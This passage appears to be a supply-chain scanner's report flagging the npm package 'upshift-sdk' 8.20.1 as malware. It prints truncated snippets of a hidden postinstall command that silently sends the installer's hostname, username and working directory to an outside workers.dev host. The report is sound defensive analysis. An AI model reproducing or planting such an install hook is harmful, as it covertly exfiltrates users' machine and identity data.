The transfer is silent and independent of SDK use. - **Trigger:** npm postinstall during package installation - **Impact:** Leaks installer identity and working-directory metadata to a third party. - **Evidence paths:** package.json, lib/core/analytics/sentry-runtime.js, lib/main.js, lib/core/analytics/user-identity.js - **Review source:** ai\_review - **Reviewed:** 2026-08-11T10:16:36.511Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** silent install-time host metadata exfiltration via HTTPS GET - **Attack narrative:** During npm installation, package.json executes inline Node code that builds a JSON payload from npm package variables, hostname, username, cwd, and a timestamp, URL-encodes it, and sends it through https.get to build-metrics-collector.cdn-ops-health.workers.dev. Errors are silently ignored, so the collection is invisible to installers and does not require invoking the SDK. - **Rationale:** The postinstall hook performs concrete, unconsented collection and external transmission of local machine/user metadata. The benign-looking runtime analytics code does not mitigate this independent install-time behavior. - **Files touched:** package.json - **Network endpoints:** https://build-metrics-collector.cdn-ops-health.workers.dev/npm-install/ ### Review decision - **Verdict:** Malicious - **Confidence:** 99.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for:** package.json defines an unconsented postinstall node command., The hook sends hostname, OS username, cwd, package/version, and timestamp to an external host., The request is wrapped in try/catch, suppressing failures., No user command or SDK runtime action is required. - **Evidence against:** Shipped SDK code is a DeFi client with package-aligned API/RPC endpoints., lib/core/analytics/sentry-runtime.js uses new Function only to resolve Sentry across Node/browser bundles. ## Public findings ### 1. High: Install Time Lifecycle Scripts - **Category:** Manifest - **Confidence:** 90.0% - **Path:** package.json - **Public source:** [View source]() Package defines install-time lifecycle scripts. Public source snippet (untrusted): ```json scripts.postinstall = node -e "try{require('https').get('https://build-metrics-collector.cdn-ops-health.workers.dev/npm-install/'+encodeURIComponent(JSON.stringify({p:process.env.npm[redacted]||'?',v... ``` ### 2. Critical: Red Install Lifecycle Script - **Category:** Manifest - **Confidence:** 95.0% - **Path:** package.json - **Public source:** [View source]() Install-time lifecycle script matches a deterministic static-gate block pattern. Public source snippet (untrusted): ```json scripts.postinstall = node -e "try{require('https').get('https://build-metrics-collector.cdn-ops-health.workers.dev/npm-install/'+encodeURIComponent(JSON.stringify({p:process.env.npm[redacted]||'?',v... ``` ### 3. Low: Scripts Present - **Category:** Manifest - **Confidence:** 100.0% Package declares npm scripts. ### 4. Low: Eval - **Category:** Source - **Confidence:** 45.0% - **Path:** lib/core/analytics/sentry-runtime.js - **Public source:** [View source]() Package source references a known benign dynamic code generation pattern. Public source snippet (untrusted): ```javascript L32: // `require('@sentry/node')`, which breaks the browser bundle. L33: const req = new Function('return typeof require === "function" ? require : null')(); L34: return typeof req === 'function' ? req : null; ``` ### 5. Medium: Network - **Category:** Source - **Confidence:** 75.0% Package source references network APIs. ### 6. Medium: Environment Vars - **Category:** Source - **Confidence:** 75.0% Package source references environment variables. ### 7. Low: High Entropy Strings - **Category:** Supply Chain - **Confidence:** 55.0% Package source contains high-entropy string patterns. ### 8. Low: Url Strings - **Category:** Supply Chain - **Confidence:** 65.0% Package source contains URL literals. ### 9. Medium: Structural Risk Force Deep Review - **Category:** Artifact Inventory - **Confidence:** 70.0% Artifact structure forces deeper review even if the static behavioral verdict is clean. ## Dependencies and install lifecycle - **Lifecycle scripts present:** Yes - **Published lifecycle scripts:** postinstall - **Dependencies:** 13 - **Optional dependencies:** 0 - **Peer dependencies:** 1 - **Development dependencies:** 5 - **Published dependency-graph edges:** 14 ### Published dependency entries - @coral-xyz/anchor ^0.31.1 (Dependency) - @sentry/browser ^8.0.0 (Dependency) - @sentry/node ^8.0.0 (Dependency) - @solana/spl-token ^0.4.14 (Dependency) - @solana/wallet-adapter-base ^0.9.27 (Dependency) - @solana/web3.js ^1.98.4 (Dependency) - @stellar/stellar-sdk ^14.6.1 (Dependency) - abitype ^1.2.3 (Dependency) - buffer ^6.0.3 (Dependency) - ethereum-block-by-date ^1.5.0 (Dependency) - ethers ^6.13.1 (Dependency) - lru-cache ^11.2.2 (Dependency) - uuid ^11.1.0 (Dependency) - viem ^2.0.0 (PeerDependency) ## Package metadata - **Package:** upshift-sdk - **Ecosystem:** npm - **Version:** 8.20.1 - **License:** MIT - **Version published:** 2026-08-10T18:55:44.458Z - **Package first seen:** 2026-08-11T10:16:36.511Z - **Package last seen:** 2026-08-11T10:16:36.511Z - **Known versions:** 1 - **Latest version:** 8.20.1 - **Appeal under review:** No - **Description:** JS SDK powering the August Digital ecosystem. - **Author:** August Digital - **Keywords:** augustdigital, sdk, js, institutional, defi - **Artifact files:** 316 - **Artifact unpacked size:** 3,799,704 bytes - **Artifact signatures:** 1 - **Attestations:** No ## References - [HTML security report]()
